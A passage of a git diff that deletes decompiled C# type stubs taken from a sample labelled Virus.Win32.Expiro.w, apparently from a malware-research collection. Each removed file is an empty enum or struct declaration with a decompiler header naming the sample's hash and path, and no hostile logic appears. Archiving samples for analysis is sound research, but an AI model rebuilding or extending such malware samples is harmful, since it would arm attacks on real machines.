Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _APTTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_AUDIT_EVENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_AUDIT_EVENT_TYPE.cs deleted file mode 100644 index 40b09c75..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_AUDIT_EVENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _AUDIT_EVENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _AUDIT_EVENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_BIN_TYPES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_BIN_TYPES.cs deleted file mode 100644 index 4f28a692..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_BIN_TYPES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _BIN_TYPES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _BIN_TYPES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CERT_CHAIN_CONTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CERT_CHAIN_CONTEXT.cs deleted file mode 100644 index d19684e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CERT_CHAIN_CONTEXT.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CERT_CHAIN_CONTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[UnsafeValueType] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct _CERT_CHAIN_CONTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CHANGER_DEVICE_PROBLEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CHANGER_DEVICE_PROBLEM_TYPE.cs deleted file mode 100644 index 3955cde1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CHANGER_DEVICE_PROBLEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CHANGER_DEVICE_PROBLEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _CHANGER_DEVICE_PROBLEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_ERROR_CONTROL_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_ERROR_CONTROL_TYPE.cs deleted file mode 100644 index 62989194..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_ERROR_CONTROL_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_ERROR_CONTROL_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _CM_ERROR_CONTROL_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_SERVICE_LOAD_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_SERVICE_LOAD_TYPE.cs deleted file mode 100644 index 17645fef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_SERVICE_LOAD_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_SERVICE_LOAD_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _CM_SERVICE_LOAD_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_SERVICE_NODE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_SERVICE_NODE_TYPE.cs deleted file mode 100644 index 7857135a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_SERVICE_NODE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_SERVICE_NODE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _CM_SERVICE_NODE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_COMPUTER_NAME_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_COMPUTER_NAME_FORMAT.cs deleted file mode 100644 index 5cd7b77d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_COMPUTER_NAME_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _COMPUTER_NAME_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _COMPUTER_NAME_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CRYPT_OID_INFO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CRYPT_OID_INFO.cs deleted file mode 100644 index 0f89ebda..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CRYPT_OID_INFO.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CRYPT_OID_INFO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 28)] -internal struct _CRYPT_OID_INFO -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024139\u0024 - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DETECTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DETECTION_TYPE.cs deleted file mode 100644 index f33e8c04..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DETECTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DETECTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _DETECTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DEVICE_POWER_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DEVICE_POWER_STATE.cs deleted file mode 100644 index e20db8e1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DEVICE_POWER_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DEVICE_POWER_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _DEVICE_POWER_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DISK_WRITE_CACHE_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DISK_WRITE_CACHE_STATE.cs deleted file mode 100644 index cf0f653a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DISK_WRITE_CACHE_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DISK_WRITE_CACHE_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _DISK_WRITE_CACHE_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DNS_CHARSET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DNS_CHARSET.cs deleted file mode 100644 index c5201689..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DNS_CHARSET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DNS_CHARSET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _DNS_CHARSET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DNS_NAME_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DNS_NAME_FORMAT.cs deleted file mode 100644 index cf1ae805..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DNS_NAME_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DNS_NAME_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _DNS_NAME_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_Direction.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_Direction.cs deleted file mode 100644 index d7132a03..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_Direction.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _Direction -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _Direction -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DnsSection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DnsSection.cs deleted file mode 100644 index ca94e476..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DnsSection.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DnsSection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _DnsSection -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ELEMENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ELEMENT_TYPE.cs deleted file mode 100644 index 0303e39b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ELEMENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ELEMENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _ELEMENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ENLISTMENT_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ENLISTMENT_INFORMATION_CLASS.cs deleted file mode 100644 index a53b9ad2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ENLISTMENT_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ENLISTMENT_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _ENLISTMENT_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXCEPTION_DISPOSITION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXCEPTION_DISPOSITION.cs deleted file mode 100644 index 85a41b2d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXCEPTION_DISPOSITION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXCEPTION_DISPOSITION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _EXCEPTION_DISPOSITION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXCEPTION_POINTERS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXCEPTION_POINTERS.cs deleted file mode 100644 index 5fed428d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXCEPTION_POINTERS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXCEPTION_POINTERS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _EXCEPTION_POINTERS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXPLICIT_ACCESS_W.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXPLICIT_ACCESS_W.cs deleted file mode 100644 index e85eb6a0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXPLICIT_ACCESS_W.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _EXPLICIT_ACCESS_W -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _EXPLICIT_ACCESS_W -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_FINDEX_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_FINDEX_INFO_LEVELS.cs deleted file mode 100644 index ed8a2299..00000000 --- 